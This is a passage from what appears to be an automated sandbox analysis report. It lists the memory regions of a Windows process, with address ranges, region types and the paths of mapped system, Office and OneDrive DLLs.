end_va = 0x6f152fff
entry_point = 0x6f150000
region_type = mapped_file
name = "api-ms-win-crt-filesystem-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-filesystem-l1-1-0.dll")
Region:
id = 279
start_va = 0x6f160000
end_va = 0x6f162fff
entry_point = 0x6f160000
region_type = mapped_file
name = "api-ms-win-crt-time-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-time-l1-1-0.dll")
Region:
id = 280
start_va = 0x6f1a0000
end_va = 0x6f1a4fff
entry_point = 0x6f1a0000
region_type = mapped_file
name = "api-ms-win-crt-multibyte-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-multibyte-l1-1-0.dll")
Region:
id = 281
start_va = 0x6f1b0000
end_va = 0x6f1b4fff
entry_point = 0x6f1b0000
region_type = mapped_file
name = "api-ms-win-crt-math-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-math-l1-1-0.dll")
Region:
id = 282
start_va = 0x6f1c0000
end_va = 0x6f1c2fff
entry_point = 0x6f1c0000
region_type = mapped_file
name = "api-ms-win-crt-locale-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-locale-l1-1-0.dll")
Region:
id = 283
start_va = 0x6f1d0000
end_va = 0x6f23cfff
entry_point = 0x6f1d0000
region_type = mapped_file
name = "msvcp140.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msvcp140.dll")
Region:
id = 284
start_va = 0x6f240000
end_va = 0x6f243fff
entry_point = 0x6f240000
region_type = mapped_file
name = "api-ms-win-crt-convert-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-convert-l1-1-0.dll")
Region:
id = 285
start_va = 0x6f250000
end_va = 0x6f253fff
entry_point = 0x6f250000
region_type = mapped_file
name = "api-ms-win-crt-stdio-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-stdio-l1-1-0.dll")
Region:
id = 286
start_va = 0x6f260000
end_va = 0x6f262fff
entry_point = 0x6f260000
region_type = mapped_file
name = "api-ms-win-crt-heap-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-heap-l1-1-0.dll")
Region:
id = 287
start_va = 0x6f2b0000
end_va = 0x6f2b3fff
entry_point = 0x6f2b0000
region_type = mapped_file
name = "api-ms-win-crt-string-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-string-l1-1-0.dll")
Region:
id = 288
start_va = 0x6f3f0000
end_va = 0x6f3f3fff
entry_point = 0x6f3f0000
region_type = mapped_file
name = "api-ms-win-crt-runtime-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-runtime-l1-1-0.dll")
Region:
id = 289
start_va = 0x6f400000
end_va = 0x6f414fff
entry_point = 0x6f400000
region_type = mapped_file
name = "vcruntime140.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vcruntime140.dll")
Region:
id = 290
start_va = 0x6fb80000
end_va = 0x6fbcbfff
entry_point = 0x6fb80000
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")
Region:
id = 291
start_va = 0x6fbf0000
end_va = 0x6fc49fff
entry_point = 0x6fbf0000
region_type = mapped_file
name = "netprofm.dll"
filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")
Region:
id = 292
start_va = 0x6ff60000
end_va = 0x6ff99fff
entry_point = 0x6ff60000
region_type = mapped_file
name = "d3d10_1core.dll"
filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll")
Region:
id = 293
start_va = 0x6ffa0000
end_va = 0x6ffcbfff
entry_point = 0x6ffa0000
region_type = mapped_file
name = "d3d10_1.dll"
filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll")
Region:
id = 294
start_va = 0x6fff0000
end_va = 0x6fffffff
entry_point = 0x0
region_type = private
name = "private_0x000000006fff0000"
filename = ""
Region:
id = 295
start_va = 0x70eb0000
end_va = 0x70f32fff
entry_point = 0x70eb0000
region_type = mapped_file
name = "dxgi.dll"
filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll")
Region:
id = 296
start_va = 0x70f60000
end_va = 0x71019fff
entry_point = 0x70f60000
region_type = mapped_file
name = "d2d1.dll"
filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll")
Region:
id = 297
start_va = 0x71020000
end_va = 0x7125ffff
entry_point = 0x71020000
region_type = mapped_file
name = "msi.dll"
filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")
Region:
id = 298
start_va = 0x721d0000
end_va = 0x721defff
entry_point = 0x721d0000
region_type = mapped_file
name = "msointl30.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\msointl30.dll")
Region:
id = 299
start_va = 0x721e0000
end_va = 0x721e4fff
entry_point = 0x721e0000
region_type = mapped_file
name = "msimg32.dll"
filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll")
Region:
id = 300
start_va = 0x72360000
end_va = 0x72362fff
entry_point = 0x72360000
region_type = mapped_file
name = "api-ms-win-core-file-l1-2-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-file-l1-2-0.dll")
Region:
id = 301
start_va = 0x72450000
end_va = 0x72452fff
entry_point = 0x72450000
region_type = mapped_file
name = "api-ms-win-core-processthreads-l1-1-1.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-processthreads-l1-1-1.dll")
Region:
id = 302
start_va = 0x72820000
end_va = 0x72822fff
entry_point = 0x72820000
region_type = mapped_file
name = "api-ms-win-core-synch-l1-2-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-synch-l1-2-0.dll")
Region:
id = 303
start_va = 0x72830000
end_va = 0x72832fff
entry_point = 0x72830000
region_type = mapped_file
name = "api-ms-win-core-localization-l1-2-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-localization-l1-2-0.dll")
Region:
id = 304
start_va = 0x72840000
end_va = 0x72842fff
entry_point = 0x72840000
region_type = mapped_file
name = "api-ms-win-core-file-l2-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-file-l2-1-0.dll")
Region:
id = 305
start_va = 0x72850000
end_va = 0x7291afff
entry_point = 0x72850000
region_type = mapped_file
name = "c2r32.dll"
filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")
Region:
id = 306
start_va = 0x72920000
end_va = 0x72984fff
entry_point = 0x72920000
region_type = mapped_file
name = "appvisvstream32.dll"
filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")
Region:
id = 307
start_va = 0x729a0000
end_va = 0x729a2fff
entry_point = 0x729a0000
region_type = mapped_file
name = "api-ms-win-core-timezone-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-timezone-l1-1-0.dll")
Region:
id = 308
start_va = 0x73900000
end_va = 0x739fafff
entry_point = 0x73900000
region_type = mapped_file
name = "windowscodecs.dll"
filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")
Region:
id = 309
start_va = 0x73a00000
end_va = 0x73a12fff
entry_point = 0x73a00000
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")
Region:
id = 310
start_va = 0x73b60000
end_va = 0x73ceffff
entry_point = 0x73b60000
region_type = mapped_file
name = "gdiplus.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")
Region:
id = 311
start_va = 0x73cf0000
end_va = 0x73d2ffff
entry_point = 0x73cf0000
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 312
start_va = 0x73d80000
end_va = 0x73daefff
entry_point = 0x73d80000
region_type = mapped_file
name = "xmllite.dll"
filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")
Region:
id = 313
start_va = 0x741a0000
end_va = 0x741acfff
entry_point = 0x741a0000
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 314
start_va = 0x741b0000
end_va = 0x741b9fff
entry_point = 0x741b0000
region_type = mapped_file
name = "slc.dll"
filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")
Region:
id = 315
start_va = 0x74230000
end_va = 0x7423ffff
entry_point = 0x74230000
region_type = mapped_file
name = "nlaapi.dll"
filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")
Region:
id = 316
start_va = 0x74460000
end_va = 0x74480fff
entry_point = 0x74460000
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 317
start_va = 0x745b0000
end_va = 0x746a4fff
entry_point = 0x745b0000
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 318
start_va = 0x746f0000
end_va = 0x7488dfff
entry_point = 0x746f0000
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")
Region:
id = 319
start_va = 0x74c60000
end_va = 0x74c68fff
entry_point = 0x74c60000
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")
Region:
id = 320
start_va = 0x74dc0000
end_va = 0x74dd6fff
entry_point = 0x74dc0000
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 321
start_va = 0x74f80000
end_va = 0x74fbafff
entry_point = 0x74f80000
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 322
start_va = 0x751e0000
end_va = 0x751f5fff
entry_point = 0x751e0000
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 323
start_va = 0x75620000
end_va = 0x75627fff
entry_point = 0x75620000
region_type = mapped_file
name = "secur32.dll"
filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")
Region:
id = 324
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x75640000
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 325
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x75660000
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 326
start_va = 0x75670000
end_va = 0x756cefff
entry_point = 0x75670000
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")
Region:
id = 327
start_va = 0x756d0000
end_va = 0x756f8fff
entry_point = 0x756d0000
region_type = mapped_file
name = "winsta.dll"
filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")
Region:
id = 328
start_va = 0x75700000
end_va = 0x7570dfff
entry_point = 0x75700000
region_type = mapped_file
name = "rpcrtremote.dll"
filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")
Region:
id = 329
start_va = 0x75710000
end_va = 0x7571afff
entry_point = 0x75710000
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 330
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x75780000
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 331
start_va = 0x75790000
end_va = 0x757a1fff
entry_point = 0x75790000
region_type = mapped_file
name = "devobj.dll"
filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")
Region:
id = 332
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b0000
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 333
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d0000
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 334
start_va = 0x759b0000
end_va = 0x759d6fff
entry_point = 0x759b0000
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 335
start_va = 0x759e0000
end_va = 0x75a0cfff
entry_point = 0x759e0000
region_type = mapped_file
name = "wintrust.dll"
filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")
Region:
id = 336
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75a70000
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 337
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b10000
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 338
start_va = 0x75b20000
end_va = 0x75b54fff
entry_point = 0x75b20000
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 339
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b60000
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 340
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c10000
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 341
start_va = 0x75e20000
end_va = 0x75e25fff
entry_point = 0x75e20000
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")
Region:
id = 342
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x76030000
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 343
start_va = 0x760d0000
end_va = 0x760d4fff
entry_point = 0x760d0000
region_type = mapped_file
name = "psapi.dll"
filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")
Region:
id = 344
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760e0000
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 345
start_va = 0x76140000
end_va = 0x76184fff
entry_point = 0x76140000
region_type = mapped_file
name = "wldap32.dll"
filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")
Region:
id = 346
start_va = 0x76190000
end_va = 0x7632cfff
entry_point = 0x76190000
region_type = mapped_file
name = "setupapi.dll"
filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")
Region:
id = 347
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76330000
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 348
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x76350000
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 349
start_va = 0x76460000
end_va = 0x764e2fff
entry_point = 0x76460000
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 350
start_va = 0x764f0000
end_va = 0x77139fff
entry_point = 0x764f0000
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 351
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77140000
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 352
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e0000
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 353
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773b0000
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 354
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x77460000
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 355
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 356
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77710000
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 357
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77760000
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 358
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 359
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 360
start_va = 0x7ff80000
end_va = 0x7ff8ffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ff80000"
filename = ""
Region:
id = 361
start_va = 0x7ff90000
end_va = 0x7ff9ffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ff90000"
filename = ""
Region:
id = 362
start_va = 0x7ffa8000
end_va = 0x7ffa8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffa8000"
filename = ""
Region:
id = 363
start_va = 0x7ffa9000
end_va = 0x7ffa9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffa9000"
filename = ""
Region:
id = 364
start_va = 0x7ffaa000
end_va = 0x7ffaafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffaa000"
filename = ""
Region:
id = 365
start_va = 0x7ffab000
end_va = 0x7ffabfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffab000"
filename = ""
Region:
id = 366
start_va = 0x7ffac000
end_va = 0x7ffacfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffac000"
filename = ""
Region:
id = 367
start_va = 0x7ffad000
end_va = 0x7ffadfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffad000"
filename = ""
Region:
id = 368
start_va = 0x7ffae000
end_va = 0x7ffaefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffae000"
filename = ""
Region:
id = 369
start_va = 0x7ffaf000
end_va = 0x7ffaffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffaf000"
filename = ""
Region:
id = 370
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 371
start_va = 0x7ffd3000
end_va = 0x7ffd3fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd3000"
filename = ""
Region:
id = 372
start_va = 0x7ffd4000
end_va = 0x7ffd4fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd4000"
filename = ""
Region:
id = 373
start_va = 0x7ffd5000
end_va = 0x7ffd5fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd5000"
filename = ""
Region:
id = 374
start_va = 0x7ffd6000
end_va = 0x7ffd6fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd6000"
filename = ""
Region:
id = 375
start_va = 0x7ffd7000
end_va = 0x7ffd7fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd7000"
filename = ""
Region:
id = 376
start_va = 0x7ffd8000
end_va = 0x7ffd8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd8000"
filename = ""
Region:
id = 377
start_va = 0x7ffd9000
end_va = 0x7ffd9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd9000"
filename = ""
Region:
id = 378
start_va = 0x7ffda000
end_va = 0x7ffdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffda000"
filename = ""
Region:
id = 379
start_va = 0x7ffdb000
end_va = 0x7ffdbfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdb000"
filename = ""
Region:
id = 380
start_va = 0x7ffdc000
end_va = 0x7ffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdc000"
filename = ""
Region:
id = 381
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 382
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 383
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 384
start_va = 0x1250000
end_va = 0x1250fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001250000"
filename = ""
Region:
id = 385
start_va = 0x20e0000
end_va = 0x20e0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000020e0000"
filename = ""
Region:
id = 386
start_va = 0x2100000
end_va = 0x2100fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002100000"
filename = ""
Region:
id = 387
start_va = 0x2340000
end_va = 0x2340fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002340000"
filename = ""
Region:
id = 388
start_va = 0x2360000
end_va = 0x2360fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002360000"
filename = ""
Region:
id = 389
start_va = 0x2380000
end_va = 0x2380fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002380000"
filename = ""
Region:
id = 390
start_va = 0x23a0000
end_va = 0x23a0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000023a0000"
filename = ""
Region:
id = 391
start_va = 0x25f0000
end_va = 0x25f0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000025f0000"
filename = ""
Region:
id = 392
start_va = 0x2710000
end_va = 0x2710fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002710000"
filename = ""
Region:
id = 393
start_va = 0x2730000
end_va = 0x2730fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002730000"
filename = ""
Region:
id = 394
start_va = 0x2750000
end_va = 0x2750fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002750000"
filename = ""
Region:
id = 395
start_va = 0x2880000
end_va = 0x2880fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002880000"
filename = ""
Region:
id = 396
start_va = 0x39a0000
end_va = 0x39a0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000039a0000"
filename = ""
Region:
id = 397
start_va = 0x3b20000
end_va = 0x3b20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000003b20000"
filename = ""
Region:
id = 398
start_va = 0x8930000
end_va = 0x8a2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008930000"
filename = ""
Region:
id = 399
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b0000
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 400
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f600000
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 401
start_va = 0x6f660000
end_va = 0x6f666fff
entry_point = 0x6f660000
region_type = mapped_file
name = "wsock32.dll"
filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll")
Region:
id = 402
start_va = 0x6f670000
end_va = 0x6f8f0fff
entry_point = 0x6f670000
region_type = mapped_file
name = "telemetry.dll"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6917.0607_1\\Telemetry.dll" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\onedrive\\17.3.6917.0607_1\\telemetry.dll")
Region:
id = 403
start_va = 0x6f900000
end_va = 0x6fb7cfff
entry_point = 0x6f900000
region_type = mapped_file
name = "filesyncshell.dll"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6917.0607_1\\FileSyncShell.dll" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\onedrive\\17.3.6917.0607_1\\filesyncshell.dll")
Region:
id = 404
start_va = 0x71e70000
end_va = 0x71e84fff
entry_point = 0x71e70000
region_type = mapped_file
name = "cabinet.dll"
filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")
Region:
id = 405
start_va = 0x740f0000
end_va = 0x740f6fff
